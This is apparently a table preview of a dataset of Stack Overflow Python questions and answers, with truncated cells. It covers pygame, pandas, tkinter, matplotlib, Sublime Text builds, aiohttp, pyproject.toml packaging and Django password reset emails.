content
stringlengths
85
101k
title
stringlengths
0
150
question
stringlengths
15
48k
answers
list
answers_scores
list
non_answers
list
non_answers_scores
list
tags
list
name
stringlengths
35
137
Q: Create a border in PyGame I would like to know how to create a border around my screen to stop my player from getting off screen. Here's what I've done until now. # Importing Libraries import pygame from pygame.locals import * pygame.init() # Variable Stockage color = (0, 0, 0) x = 385 y = 470 velocity = 12 backg...
Create a border in PyGame
I would like to know how to create a border around my screen to stop my player from getting off screen. Here's what I've done until now. # Importing Libraries import pygame from pygame.locals import * pygame.init() # Variable Stockage color = (0, 0, 0) x = 385 y = 470 velocity = 12 background_color = (255, 255, 255) c...
[ "Option 1: Test that the barrierRect does not contains() the player rectangle. You must set the player rectangle directly before using it with the current x and y coordinate:\nplayer = pygame.Rect(x, y, 30, 30)\nbarrierRect = pygame.Rect(0, 0, 800, 500)\nif not barrierRect.contains(player):\n x, y = px, py\n\n\n...
[ 3 ]
[]
[]
[ "collision_detection", "pygame", "python" ]
stackoverflow_0074195841_collision_detection_pygame_python.txt
Q: Issue when going thru a .txt file looking for a word When the user inputs the word that they want to see, and what line its in. So the code is going to tell you what line its in. userAns = input("Enter english word: ") print("I will try to find that word now!\n\n") found = False count = 0 with open("english3.txt...
Issue when going thru a .txt file looking for a word
When the user inputs the word that they want to see, and what line its in. So the code is going to tell you what line its in. userAns = input("Enter english word: ") print("I will try to find that word now!\n\n") found = False count = 0 with open("english3.txt", "r+") as f: for line in f: count += 1 i...
[ "you need to read() the data in the file and split() by \\n (lines)\nthen go through each line and check if the word you are searching is in that line\nuserAns = input(\"Enter english word: \")\ncount = 0\nwith open(\"help.py\", \"r\") as f:\n lines = f.read().split(\"\\n\")\n for line in lines:\n if u...
[ 1, 1, 0 ]
[]
[]
[ "python", "python_3.x" ]
stackoverflow_0074195812_python_python_3.x.txt
Q: Python get all stock Tickers This question have been asked to death but none of the answers provide an actual workable solution. I had found one previously in get-all-tickers: pip install get-all-tickers Recently, for whatever reason, the package get-all-tickers has stopped working: from get_all_tickers import ge...
Python get all stock Tickers
This question have been asked to death but none of the answers provide an actual workable solution. I had found one previously in get-all-tickers: pip install get-all-tickers Recently, for whatever reason, the package get-all-tickers has stopped working: from get_all_tickers import get_tickers as gt list_of_tickers = ...
[ "See this answer first: https://quant.stackexchange.com/a/1862/38968\n\nNASDAQ makes this information available via FTP and they update it\nevery night. Log into ftp.nasdaqtrader.com anonymously. Look in the\ndirectory SymbolDirectory. You'll notice two files: nasdaqlisted.txt\nand otherlisted.txt. These two files ...
[ 0, 0, 0, 0 ]
[ "You could use the free alphavantage API https://www.alphavantage.co/documentation/\nexample:\nimport requests\nkey = '2DHC1EFVR3EOQ33Z' # free key from https://www.alphavantage.co/support/#api-key -- no registration required\nresult = requests.get('https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol=NKL...
[ -1 ]
[ "python" ]
stackoverflow_0065888368_python.txt
Q: Cancel Build key not working in Sublime Text 3 I installed the REPL package on Sublime Text 3 and when I run the script a new window opens and shows the results but I can't stop the execution (e.g. an infinite loop). The 'Cancel Build' command seems to be not active (grey), as shown in the image below: This is wh...
Cancel Build key not working in Sublime Text 3
I installed the REPL package on Sublime Text 3 and when I run the script a new window opens and shows the results but I can't stop the execution (e.g. an infinite loop). The 'Cancel Build' command seems to be not active (grey), as shown in the image below: This is what I have in the default key map: { "keys": ["ctrl+b...
[ "In order to be able to cancel a build, the sublime-build file that's used to control the build needs to do one of two things:\n\nInclude a target key to specify what plugin command to invoke to execute the build and a cancel key to specify what plugin command to invoke to cancel the build.\n\nNot include a target ...
[ 1, 0 ]
[]
[]
[ "python", "sublimerepl", "sublimetext3" ]
stackoverflow_0066321168_python_sublimerepl_sublimetext3.txt
Q: How to create incrementing group column counter Consider the following data set: How can I generate the expected value, ExpectedGroup such that the same value exists when True, but changes and increments by 1, when we run into a False statement in case_id. df = pd.DataFrame([ ['A', 'P', 'O', 2, np.nan]...
How to create incrementing group column counter
Consider the following data set: How can I generate the expected value, ExpectedGroup such that the same value exists when True, but changes and increments by 1, when we run into a False statement in case_id. df = pd.DataFrame([ ['A', 'P', 'O', 2, np.nan], ['A', 'O', 'O', 5, 1], ['A'...
[ "You can use diff to select only the first item of each stretch of True:\ndf['ExpectedGroup'] = (df['case_id'].diff()\n &df['case_id']\n ).cumsum().where(df['case_id'])\n\nIf you don't want the intermediate column:\ns = (df.FromState == 'O') & (df.ToState == 'O')\n# or\n# s...
[ 2, 1, 1 ]
[]
[]
[ "dataframe", "pandas", "python" ]
stackoverflow_0074194721_dataframe_pandas_python.txt
Q: Barplot by month - python I am trying to do two bar plot (Descending order) in python with following criteria, 1- observations by month with total count. 2- observations by month with value A > 0. I am struggling to create this in python. A: IIUC, you a can try this: df.groupby('month', sort=False)['value A'].ag...
Barplot by month - python
I am trying to do two bar plot (Descending order) in python with following criteria, 1- observations by month with total count. 2- observations by month with value A > 0. I am struggling to create this in python.
[ "IIUC, you a can try this:\ndf.groupby('month', sort=False)['value A'].agg(['sum', 'count']).plot.bar()\n\nOutput:\n\n" ]
[ 0 ]
[]
[]
[ "matplotlib", "pandas", "python" ]
stackoverflow_0074195978_matplotlib_pandas_python.txt
Q: Python: make subclass of generic class generic by default I want to be able to define what the contents of a subclass of a subclass of typing.Iterable have to be. Type hints are critical for this project so I have to find a working solution Here is a snip code of what I've already tried and what I want: # The cod...
Python: make subclass of generic class generic by default
I want to be able to define what the contents of a subclass of a subclass of typing.Iterable have to be. Type hints are critical for this project so I have to find a working solution Here is a snip code of what I've already tried and what I want: # The code I'm writing: from typing import TypeVar, Iterable T = TypeVa...
[ "The only requirements are that GeneralPaginatedCursor define __iter__ to return an Iterable value (namely, something with a __next__ method).\nThe error you see occurs because, since GeneralPaginatedCursor is generic in T, PaginatedCursor should be as well.\nclass PaginatedCursor(GeneralPaginatedCursor[T]):\n p...
[ 1 ]
[]
[]
[ "generics", "python", "python_3.x", "python_typing" ]
stackoverflow_0074195990_generics_python_python_3.x_python_typing.txt
Q: Python: Reference Nested Dict key with variable I'm trying to figure out how I can reference nested dict keys as a variable. For example, I have a nested dict of type: example = {'a': {'b': 'hi'}, 'c': 1} I would like to do something like: keys = ['c', ['a','b']] for key in keys: print(example[key]) Output...
Python: Reference Nested Dict key with variable
I'm trying to figure out how I can reference nested dict keys as a variable. For example, I have a nested dict of type: example = {'a': {'b': 'hi'}, 'c': 1} I would like to do something like: keys = ['c', ['a','b']] for key in keys: print(example[key]) Output I would expect: 1 hi
[ "You could write a simple utility to handle list-valued keys:\nexample = {'a': {'b': 'hi'}, 'c': 1}\nkeys = ['c', ['a', 'b']]\n\n\ndef fetch_from_dict(dictionary, key):\n if isinstance(key, list):\n d = dictionary\n for k in key:\n d = d[k]\n return d\n else:\n return di...
[ 3 ]
[]
[]
[ "python" ]
stackoverflow_0074196024_python.txt
Q: I do not know which part of coding I did wrong about Python Write a Python function arctan() which takes an input argument (parameter) x and computes the sum of the first 11 terms in the following infinite sum: -[arctan(1/x)= 1/x - 1/3x^3 + 1/5x^5 - 1/7x^7 + 1/9x^9] The final term in your sum should therefore be 1...
I do not know which part of coding I did wrong about Python
Write a Python function arctan() which takes an input argument (parameter) x and computes the sum of the first 11 terms in the following infinite sum: -[arctan(1/x)= 1/x - 1/3x^3 + 1/5x^5 - 1/7x^7 + 1/9x^9] The final term in your sum should therefore be 1/21x^21 Test your function using the following formula: -[pi/4 = ...
[ "There are many inaccuracies in your code:\n\nIn your function you have as variable the number x, that is the value for what you want to calculate the arctan. But you are summing on the variable sumA, that is also the return of your function. So if you calculate another arctan, it will sum over the previous result ...
[ 0 ]
[]
[]
[ "python" ]
stackoverflow_0074195770_python.txt
Q: How can I add space between buton and label in tkinter? My problem is space between button and entry label which look awful for me at this moment. Trying with padx doesn't work, cuz it don't want to move. I already used columnspan for buttons and here's a problem, that I can't use padx to make space between "No" b...
How can I add space between buton and label in tkinter?
My problem is space between button and entry label which look awful for me at this moment. Trying with padx doesn't work, cuz it don't want to move. I already used columnspan for buttons and here's a problem, that I can't use padx to make space between "No" button and left place for writing "new word". Is there any way...
[ "This question is very minimal, with no code to work with I am unsure on what you have already done however this may help!\nhttps://stackoverflow.com/a/39555320/17685290\nWhen you pack the widget you can use\nself.a_button = Button(root, text=\"A Button\") \nself.a_button.grid(row=0, column=1, padx=10, pady=10)\n\n...
[ 0, 0 ]
[]
[]
[ "label", "python", "sticky", "tkinter", "window" ]
stackoverflow_0070383014_label_python_sticky_tkinter_window.txt
Q: Matplotlib lines appear not to be accurate when plotting to Pdf It appears that there are some very small inaccuracies when using plt.plot() for generating Pdfs with Matplotlib. In the following I have some simple examples, where lines plotted with plt.plot() are not aligned with the original data points plotted w...
Matplotlib lines appear not to be accurate when plotting to Pdf
It appears that there are some very small inaccuracies when using plt.plot() for generating Pdfs with Matplotlib. In the following I have some simple examples, where lines plotted with plt.plot() are not aligned with the original data points plotted with plt.scatter(). The differences are small but could still be notic...
[ "It turns out Matplotlib does a simplification of paths when the figure is small and the data are very dense, see details here and here.\n\nThe simplification works by iteratively merging line segments into a single vector until the next line segment's perpendicular distance to the vector (measured in display-coord...
[ 1 ]
[]
[]
[ "matplotlib", "pdf", "python", "python_3.x" ]
stackoverflow_0074147057_matplotlib_pdf_python_python_3.x.txt
Q: Why am I getting "TypeError: int() argument must be a string, a bytes-like object or a real number, not 'Future'" upon coding? This is the code I've run to get the error. I tried to change the int to str, hoping it would work but it did not really do anything. Name = input("Your name is: ") print("Hi!",Name) x = ...
Why am I getting "TypeError: int() argument must be a string, a bytes-like object or a real number, not 'Future'" upon coding?
This is the code I've run to get the error. I tried to change the int to str, hoping it would work but it did not really do anything. Name = input("Your name is: ") print("Hi!",Name) x = int(input("Your age is: ")) print("You are",x) Year=2022 Year_user_will_turn_100 = 2022 - x + 100 print(Name,"will turn 100 on the y...
[ "To change from an int to str, you just have to put it into a str function\nx_str = str(x)\n\n", "I'm guessing line 3 is giving the issue, if it still is not working then try to do it in two steps:\nfirst store the age in one variable and then convert that into a string.\nYour code will look something like this:\...
[ 0, 0 ]
[]
[]
[ "python" ]
stackoverflow_0074196090_python.txt
Q: The 'if x in else' statement not working in Python, using Jupyter Notebook For context, I am using: Windows 10 Jupter Notebook 6.4.12 Python 3.8.13 Question I am trying to understand why the 'if x in else' statement isn't working in my Jupyter Notebooks. Here is the code I am trying to get to work... but the code ...
The 'if x in else' statement not working in Python, using Jupyter Notebook
For context, I am using: Windows 10 Jupter Notebook 6.4.12 Python 3.8.13 Question I am trying to understand why the 'if x in else' statement isn't working in my Jupyter Notebooks. Here is the code I am trying to get to work... but the code keeps returning the statement, stipulating 'sunny' or 'lovely' have been found i...
[ "The main error is 'or' is not used like that.\nRather it should be\nif \"sunny\" in sitrep or \"lovely\" in sitrep:\n print(\"sunny or lovely have been detected\")\n\nelse:\n print(\"neither has been detected\")\n\nAlso print statement should be comma. A space is added for each comma statement\nprint(\"The s...
[ 0 ]
[]
[]
[ "if_statement", "jupyter_notebook", "python", "string", "windows" ]
stackoverflow_0074196082_if_statement_jupyter_notebook_python_string_windows.txt
Q: Python apply lambda with multiple columns Can anyone tell me why it doesn't work and how to fix it ? I'm trying to use a lambda function to choose the value of a column based on a condition on another column. df = pd.DataFrame({'A': [4, 8, 2, 7, 4], 'B': [8, 10, 3, 4, 1], 'C':...
Python apply lambda with multiple columns
Can anyone tell me why it doesn't work and how to fix it ? I'm trying to use a lambda function to choose the value of a column based on a condition on another column. df = pd.DataFrame({'A': [4, 8, 2, 7, 4], 'B': [8, 10, 3, 4, 1], 'C': [10, 8, 2, 6, 2]}) df `df.apply(lambda x: x[...
[ "Do not use apply, this is a waste of pandas' vectorial capabilities.\nUse instead:\ndf['new'] = df['B'].where(df['A'].isin([1,2,3,4,5]), df['C'])\n\n# or\ndf['new'] = df['B'].where(df['A'].between(1, 5, inclusive='both'), df['C'])\n\nOr with numpy:\nimport numpy as np\ndf['new'] = np.where(df['A'].isin([1,2,3,4,5]...
[ 1, 0 ]
[]
[]
[ "apply", "dataframe", "lambda", "pandas", "python" ]
stackoverflow_0074196081_apply_dataframe_lambda_pandas_python.txt
Q: pytrends.request.TrendReq._get_data() got multiple values help wanted (Python) I'm working on a script that looks at Google Trends and have hit a bit of a problem in regards to a variable called "params": This is the code I have: param = { 'hl': 'en-US', } response = requests.get(**INSERT URL HERE**, params=param...
pytrends.request.TrendReq._get_data() got multiple values help wanted (Python)
I'm working on a script that looks at Google Trends and have hit a bit of a problem in regards to a variable called "params": This is the code I have: param = { 'hl': 'en-US', } response = requests.get(**INSERT URL HERE**, params=param) class TrendReq(UTrendReq): def _get_data(self, url, method=GET_METHOD, trim_c...
[ "From the error description:\n\n\"TypeError: got multiple values for argument\" occurs when we overwrite the value of a positional argument with a keyword argument in a function call.\n\nWhich means you have inadvertently created a positional argument called params in the _get_data() method, which itself gets calle...
[ 1 ]
[]
[]
[ "google_trends", "python" ]
stackoverflow_0074195521_google_trends_python.txt
Q: How to print list elements one by one by keypress on python I want to print on the console each word in a sentence, but only when the spacebar is pressed by the user, like this: at the begging nothing happens; then the user press the spacebar and the first word appears and stays there; then he/she presses the spac...
How to print list elements one by one by keypress on python
I want to print on the console each word in a sentence, but only when the spacebar is pressed by the user, like this: at the begging nothing happens; then the user press the spacebar and the first word appears and stays there; then he/she presses the spacebar again and the second word appears; and so on: <keypress> Thi...
[ "import time\nfrom pynput.keyboard import Key, Listener\n\nSENTENCE = 'This is my sentence'\nindex = 0\nstop = False\n\n\ndef on_press(key):\n global index, stop\n if key == Key.space:\n if index < len(SENTENCE.split()):\n print(SENTENCE.split()[index])\n index += 1\n else:...
[ 1 ]
[]
[]
[ "pynput", "python", "while_loop" ]
stackoverflow_0074196144_pynput_python_while_loop.txt
Q: How to build a C extension in keeping with PEP 517, i.e. with pyproject.toml instead of setup.py? I want to build a C extension for CPython. I could do it traditionally with a setup.py file. However, for the reasons mentioned in PEP 517, I would prefer a declarative approach using a pyproject.toml. I understand th...
How to build a C extension in keeping with PEP 517, i.e. with pyproject.toml instead of setup.py?
I want to build a C extension for CPython. I could do it traditionally with a setup.py file. However, for the reasons mentioned in PEP 517, I would prefer a declarative approach using a pyproject.toml. I understand that setuptools is the only build backend that can build C extensions on all relevant platforms. In fact,...
[ "pyproject.toml is not strictly meant to replace setup.py, but rather to ensure its correct execution if it's still needed (see PEP 517 and my answer here):\n\nWhere the build-backend key exists, this takes precedence and the source tree follows the format and conventions of the specified backend (as such no setup....
[ 9, 1 ]
[]
[]
[ "pyproject.toml", "python", "python_packaging", "setup.py", "setuptools" ]
stackoverflow_0066157987_pyproject.toml_python_python_packaging_setup.py_setuptools.txt
Q: How to specifiy both a method argument and part of a data frame in corr In the below code, I wish to specifiy 'pearson' as method but this does not seem possible if I am at the same time defining an argument with a dataframe's column. Therefore, I am not able to simply do corr(method='pearson'), any solution or wa...
How to specifiy both a method argument and part of a data frame in corr
In the below code, I wish to specifiy 'pearson' as method but this does not seem possible if I am at the same time defining an argument with a dataframe's column. Therefore, I am not able to simply do corr(method='pearson'), any solution or way around this? df_dataframe1['Food'].corr(df_dataframe1['Ingredient'])
[ "You can use DataFrame.corrwith with method='pearson':\ndf_dataframe[['Food']].corrwith(df_dataframe1[['Ingredient']], method='pearson')\n\n" ]
[ 1 ]
[]
[]
[ "data_mining", "numpy", "pandas", "python" ]
stackoverflow_0074196293_data_mining_numpy_pandas_python.txt
Q: Send data from Raspberry Pi Pico to computer via serial I've looked everywhere for an answer to this question without much luck. On my computer I have a python script running an infinite while loop. On the Raspberry Pi Pico I'm reading a sensor value once a second. I'd like to have access to the sensor readings fr...
Send data from Raspberry Pi Pico to computer via serial
I've looked everywhere for an answer to this question without much luck. On my computer I have a python script running an infinite while loop. On the Raspberry Pi Pico I'm reading a sensor value once a second. I'd like to have access to the sensor readings from my computer, (whatever the current sensor reading is). I'm...
[ "The easiest solution, on the Pico side you open the serial port and print the sensor value every second, on the computer side you open the serial port and read it all the time, so you get the new values as they are sent by the Pico\n" ]
[ 0 ]
[]
[]
[ "python", "raspberry_pi_pico", "serial_port" ]
stackoverflow_0073980553_python_raspberry_pi_pico_serial_port.txt
Q: From Import in Python is not importing my modules I have several custom module scrips in my python project that are all in a folder that is one directory down named "modules". After about a day of use on every machine I touch, importing these modules starts spitting out this error: ImportError: cannot import name ...
From Import in Python is not importing my modules
I have several custom module scrips in my python project that are all in a folder that is one directory down named "modules". After about a day of use on every machine I touch, importing these modules starts spitting out this error: ImportError: cannot import name 'letters' from 'modules' (C:\Program Files\Python39\lib...
[ "You'll need to add a file called __init__.py to your modules folder. The file can be empty. Review this SO thread for more details: What is __init__.py for?\n", "try adding an __init__.py file inside the modules folder\ninside the __init__.py file put:\nfrom .letters import *\nfrom .sfx import *\nfrom .bgm impor...
[ 0, 0 ]
[]
[]
[ "importerror", "module", "python", "python_3.9", "python_3.x" ]
stackoverflow_0074196301_importerror_module_python_python_3.9_python_3.x.txt
Q: Fill monthly holes (time-series) in a pandas dataframe with several categories I have a time-series in pandas with several products (id's: a, b, etc), but with monthly holes. I have to fill those holes. It may be with np.nan or any other constant. I tried groupby but I wasnt able. date id units 2022-01-...
Fill monthly holes (time-series) in a pandas dataframe with several categories
I have a time-series in pandas with several products (id's: a, b, etc), but with monthly holes. I have to fill those holes. It may be with np.nan or any other constant. I tried groupby but I wasnt able. date id units 2022-01-01 a 10 2022-01-01 b 100 2022-02-01 a 15 2022-03-01 a 30...
[ "You can do pivot then stack\ndf = df.pivot(*df.columns).stack(dropna = False).reset_index(name = 'units')\nOut[126]: \n date id units\n0 2022-01-01 a 10.0\n1 2022-01-01 b 100.0\n2 2022-02-01 a 15.0\n3 2022-02-01 b NaN\n4 2022-03-01 a 30.0\n5 2022-03-01 b 70.0\n6 2022-05-01 a N...
[ 0, 0 ]
[]
[]
[ "pandas", "python", "resample", "time_series" ]
stackoverflow_0074196252_pandas_python_resample_time_series.txt
Q: Extract subtring after certain text and before hyphen (regex) I have a list of emails that match a similar pattern as such: chris-repo-nonprod-red-sens@mail.com ryan-prod-blue-sens@mail.com The first email has 5 parts while the second one has 4 parts (marked by the hyphen) before the @mail.com I need to extract th...
Extract subtring after certain text and before hyphen (regex)
I have a list of emails that match a similar pattern as such: chris-repo-nonprod-red-sens@mail.com ryan-prod-blue-sens@mail.com The first email has 5 parts while the second one has 4 parts (marked by the hyphen) before the @mail.com I need to extract the group_code that comes after the nonprod/prod portion of the group...
[ "re.findall('(?:prod-)(.*)-', s)\n\ndf['group'] = df['col2'].str.extract('(?:prod-)(.*)-' )\ndf\n\n\n col1 col2 group\n0 1 chris-repo-nonprod-red-sens@mail.com red\n1 2 ryan-prod-blue-sens@mail.com blue\n2 3 ...
[ 1, 0, 0 ]
[]
[]
[ "extract", "python", "regex" ]
stackoverflow_0074195244_extract_python_regex.txt
Q: Cannot do the SQL query in python via sqlite3 to find out the unique numbers I have a database. These database has two tables. One table is music. name Date Edition Song_ID Singer_ID LA 01.05.2009 1 1 1 Second 13.07.2009 1 2 2 Mexico 13.07.2009 1 3 1 Let's go 13.09.2009 1 4 3 Hello 18.09.2009 1 5 (4,5) Don'...
Cannot do the SQL query in python via sqlite3 to find out the unique numbers
I have a database. These database has two tables. One table is music. name Date Edition Song_ID Singer_ID LA 01.05.2009 1 1 1 Second 13.07.2009 1 2 2 Mexico 13.07.2009 1 3 1 Let's go 13.09.2009 1 4 3 Hello 18.09.2009 1 5 (4,5) Don't give up 12.02.2010 2 6 (5,6) ZIC ZAC 18.03.2010 2 7 7 Blablabla 1...
[ "Do you want a count query here:\nSELECT COUNT(DISTINCT Song_ID) FROM music;\n\nAssuming that every Song_ID be unique in the music table, you don't even need a distinct count; a regular count will also work:\nSELECT COUNT(Song_ID) FROM music;\n\n" ]
[ 1 ]
[ "I would also try\nSELECT DISTINCT COUNT(Song_ID) from music;\n" ]
[ -1 ]
[ "python", "sql", "sqlite" ]
stackoverflow_0074195982_python_sql_sqlite.txt
Q: Updating Dash index_string from a callback for Jinja in Flask integration Plotly Dash uses the index_string value to customize the Dash's HTML Index Template as explained here. To integrate Dash with Flask, one can pass Flask app as Dash server, and get back the Flask app with the Dash app integrated in it, also t...
Updating Dash index_string from a callback for Jinja in Flask integration
Plotly Dash uses the index_string value to customize the Dash's HTML Index Template as explained here. To integrate Dash with Flask, one can pass Flask app as Dash server, and get back the Flask app with the Dash app integrated in it, also taking advantage of Jinja. This approach is nicely explained in several tutorial...
[ "Ok, I found a solution, but it is super hacky, and I really would like something a bit more robust and elegant, so whoever has an idea, please share it!\nThe solution is by setting your index_page like this: your app exists in dash.dcc._dash._get_app.APP\nYou can modify it from within a dash callback code, from wh...
[ 1, 0 ]
[]
[]
[ "flask", "jinja2", "plotly_dash", "python" ]
stackoverflow_0074178989_flask_jinja2_plotly_dash_python.txt
Q: lambda i=i: not giving result for button in loop I'm new to coding and tkinter and after looking for solution to create button in a loop I ended on this solution: while x <= 10: btn = Button(text=x).grid(row=1, column=1) window.bind('<Button-1>', lambda x=x: print(x)) But this solution return: <ButtonPres...
lambda i=i: not giving result for button in loop
I'm new to coding and tkinter and after looking for solution to create button in a loop I ended on this solution: while x <= 10: btn = Button(text=x).grid(row=1, column=1) window.bind('<Button-1>', lambda x=x: print(x)) But this solution return: <ButtonPress event state=Mod1 num=1 x=57 y=12> and not the value...
[ "When you bind a function to an event, that function will be called with a parameter. This parameter is an object representing the event.\nIn your case you're binding to an anonymous function that accepts one argument named x. Thus, when the function is called, even though you've initialized x to an integer, x will...
[ 0 ]
[]
[]
[ "python", "tkinter", "tkinter_button" ]
stackoverflow_0074194283_python_tkinter_tkinter_button.txt
Q: Loop. Why it can see only 10 from whole list? def new_list(lst): for i in lst: if i%10 == 0: return i else: return False print(new_list([10, 20.0, 25, 30, 40, 98])) i want to see all numbers from the list that can be divided into 10 A: Calling return in a fun...
Loop. Why it can see only 10 from whole list?
def new_list(lst): for i in lst: if i%10 == 0: return i else: return False print(new_list([10, 20.0, 25, 30, 40, 98])) i want to see all numbers from the list that can be divided into 10
[ "Calling return in a function ends execution of the function. So either way, the your function will stop running after the first iteration in your for loop. I don't know what you are expecting for output, but in your function you can instead append the items to a list and return the list at the end:\ndef new_list(l...
[ 2, 0 ]
[]
[]
[ "python" ]
stackoverflow_0074196268_python.txt
Q: How can I get all data from JSON using JMESPath I am trying to get all the data with the attribute _name equal to accountId. I have managed to do it almost fine, the only issue is that from times to times times I have an object. with two _name attributes with the value accountId and for this reason the script only...
How can I get all data from JSON using JMESPath
I am trying to get all the data with the attribute _name equal to accountId. I have managed to do it almost fine, the only issue is that from times to times times I have an object. with two _name attributes with the value accountId and for this reason the script only captures the first one. Is there any way for me to g...
[ "If you want to experiment with jmespath queries, you can paste your data into the data field at https://jmespath.org and then enter queries into the query field. The results will update automatically. Using that tool, the following query seems to produce what you want:\n[].identifier[?_name == 'accountId'][].\"#va...
[ 2 ]
[]
[]
[ "jmespath", "json", "python", "request" ]
stackoverflow_0074195654_jmespath_json_python_request.txt
Q: How is pandas able to import `from pandas` within the very code of pandas? I am trying to understand Python packaging better. I noticed that in a lot of projects, some of the project code seems to import from the project itself. Case in point: https://github.com/pandas-dev/pandas/blob/main/pandas/core/internals/bl...
How is pandas able to import `from pandas` within the very code of pandas?
I am trying to understand Python packaging better. I noticed that in a lot of projects, some of the project code seems to import from the project itself. Case in point: https://github.com/pandas-dev/pandas/blob/main/pandas/core/internals/blocks.py This internal .py file in the pandas package is importing a bunch of thi...
[ "This is a common practice in Python.\nThe pandas package is a directory with a __init__.py file in it.\nThe __init__.py file is executed when the package is imported.\nIt can contain code that imports other modules in the package.\nThis is how the pandas package imports the pandas._libs package.\n" ]
[ 2 ]
[]
[]
[ "python", "python_packaging" ]
stackoverflow_0074196374_python_python_packaging.txt
Q: How do I access the variable inside a class method from another python file? I have two python files main.py and conftest.py. I want to access a variable inside the method of main.py from contest.py. I have tried a bit, but I know it's wrong as I get a syntax error in the first place. Is there any way to do this? ...
How do I access the variable inside a class method from another python file?
I have two python files main.py and conftest.py. I want to access a variable inside the method of main.py from contest.py. I have tried a bit, but I know it's wrong as I get a syntax error in the first place. Is there any way to do this? main.py class Test(): def test_setup(self): #make new directory for d...
[ "There are some errors in your code, I'll try to suggest you a possible solution.\nI show you the 2 possible correct files:\nmain.py\nfrom datetime import datetime\nimport os\n\nclass Test():\n def __init__(self):\n self.new_dir = \"\"\n self.saved_dir = \"\"\n\n def test_setup(self): \n #make new dire...
[ 2, 2 ]
[]
[]
[ "python", "selenium" ]
stackoverflow_0074196240_python_selenium.txt
Q: Handle ClientResponse by aiohttp in function I'm using aiohttp to get and test proxies (creating my first package proxy-master) I want to write function which would handle ClientResponse after calling .gather() like that: async def async_test_proxies(proxies: list, url: str = 'icanhazip.com', enable_prints: bool =...
Handle ClientResponse by aiohttp in function
I'm using aiohttp to get and test proxies (creating my first package proxy-master) I want to write function which would handle ClientResponse after calling .gather() like that: async def async_test_proxies(proxies: list, url: str = 'icanhazip.com', enable_prints: bool = False) -> list: def is_proxy_works(html: str,...
[ "Here, as I noted in my comment on your question, is an example of how I used asyncio with aiohttp to send requests & parse responses. Perhaps this will be of some help.\nThis example is based on part of a larger project.\nClass RequestTask:\n# Created & used in the designated main `asyncio` method in your applicat...
[ 0, 0 ]
[]
[]
[ "aiohttp", "python", "python_asyncio", "response" ]
stackoverflow_0074164866_aiohttp_python_python_asyncio_response.txt
Q: How to show years in x-axis using matplotlib? I have date-wise data to plot but not all consecutive dates available. However, on x-axis I have to show years only. I have tried set_major_locator, YearLocator, MonthLocator etc but it didnt work. Also, I made sure to have dates in datetime format. After trying these,...
How to show years in x-axis using matplotlib?
I have date-wise data to plot but not all consecutive dates available. However, on x-axis I have to show years only. I have tried set_major_locator, YearLocator, MonthLocator etc but it didnt work. Also, I made sure to have dates in datetime format. After trying these, still some years are missing in graph as marked in...
[ "IIUC, you want to reformate your ax1.set_xticklabels() to yearly strings?\nWell since I dont know what your data looks like I am just gonna do with a list comprehension with a bunch of strings\nimport datetime as dt\ndates = ['22-7-1997','1-12-1996','17-06-1992','10-09-1999']\ndates = [dt.datetime.strptime(date_st...
[ 0, 0 ]
[]
[]
[ "matplotlib", "python" ]
stackoverflow_0074195998_matplotlib_python.txt
Q: How to send html-styled password reset email with django I created an html-styled version of a password reset email to be set with django 4.0 located at 'registration/html_password_reset_email.html'. From other stackoverflows, I learned I needed to add the html_email_template_name parameter for the html version of...
How to send html-styled password reset email with django
I created an html-styled version of a password reset email to be set with django 4.0 located at 'registration/html_password_reset_email.html'. From other stackoverflows, I learned I needed to add the html_email_template_name parameter for the html version of the email to be sent. However, even with the below code, it i...
[ "You named your URL reset_password, while the name used by Django is password_reset. You have to use the same name, as it will be called by Django with reverse('reset_password'):\nurlpatterns = [\n ...,\n path('accounts/', include('django.contrib.auth.urls')),\n ...,\n path('reset_password/', auth_views...
[ 1 ]
[]
[]
[ "django", "python" ]
stackoverflow_0073725318_django_python.txt
Q: How to add reaction in discord.py slash command Hello Whenever I am trying to add a reaction to my slash command but when i tried to run it the reactions did not show up msg = await interaction.response.send_message(embed=embed, ephemeral=True) for button in buttons: await msg.add_react...
How to add reaction in discord.py slash command
Hello Whenever I am trying to add a reaction to my slash command but when i tried to run it the reactions did not show up msg = await interaction.response.send_message(embed=embed, ephemeral=True) for button in buttons: await msg.add_reaction(button)
[ "The documentation for InteractionResponse.send_message clearly shows that it doesn't return anything, so msg will be None here...\nYou can fetch the response that you sent using Interaction.original_response():\n\nFetches the original interaction response message associated with the interaction.\nIf the interactio...
[ 1 ]
[]
[]
[ "discord", "discord.py", "python" ]
stackoverflow_0074193495_discord_discord.py_python.txt
Q: How do I install a binary distribution of `protoc` for Python in Windows Context This seems to be a question that has been asked several times before, but none of the answers I've found is clear enough and all of them seem to miss a step. I would like to use protocol buffer compiler in my Windows system. So that, ...
How do I install a binary distribution of `protoc` for Python in Windows
Context This seems to be a question that has been asked several times before, but none of the answers I've found is clear enough and all of them seem to miss a step. I would like to use protocol buffer compiler in my Windows system. So that, I downloaded the latest release for Python https://github.com/protocolbuffers/...
[ "I think the confusion that you, I and possibly many others have experienced is that there are two different types of files in the assets section of each release at Protobuf Releases\nDon't get the protobuf-python-3.9.1.zip or similar file unless you want to build from source. Instead scroll farther down to get pr...
[ 4, 0, 0 ]
[ "Brother, I was facing same issue and it took two freaking days to get it sorted. Very less documentation is available for Protocol Buffer so it is difficult.\n1.The link you mentioned above go to that page.\n2. Scroll down to assets section.\n3. There you will find protobuf-python zip\n4. I am sure you are not loo...
[ -1 ]
[ "protoc", "protocol_buffers", "python", "windows" ]
stackoverflow_0056358936_protoc_protocol_buffers_python_windows.txt
Q: Clearing inputText with a button release in Kivy Let's imagine we have a form where the person wrote some stuff on the inputs but need to clear them all, how would I do that in Kivy? I tried this but it didn't work: main.py: class CreateUra(GridLayout): def clear_inputs(self, *args): for item in a...
Clearing inputText with a button release in Kivy
Let's imagine we have a form where the person wrote some stuff on the inputs but need to clear them all, how would I do that in Kivy? I tried this but it didn't work: main.py: class CreateUra(GridLayout): def clear_inputs(self, *args): for item in args: item = '' class UraApp(App): ...
[ "The problem in your case is passing the text, but not text property but a copy of the text, so even if you set it to empty is not reflected in the textinput. You have to pass the textinput as a list, iterate and set the property with an empty string:\n*.kv\nButton:\n text: 'Create Ura'\n id: bt_create\n o...
[ 1, 1 ]
[]
[]
[ "kivy", "kivy_language", "python", "python_3.6" ]
stackoverflow_0052633391_kivy_kivy_language_python_python_3.6.txt
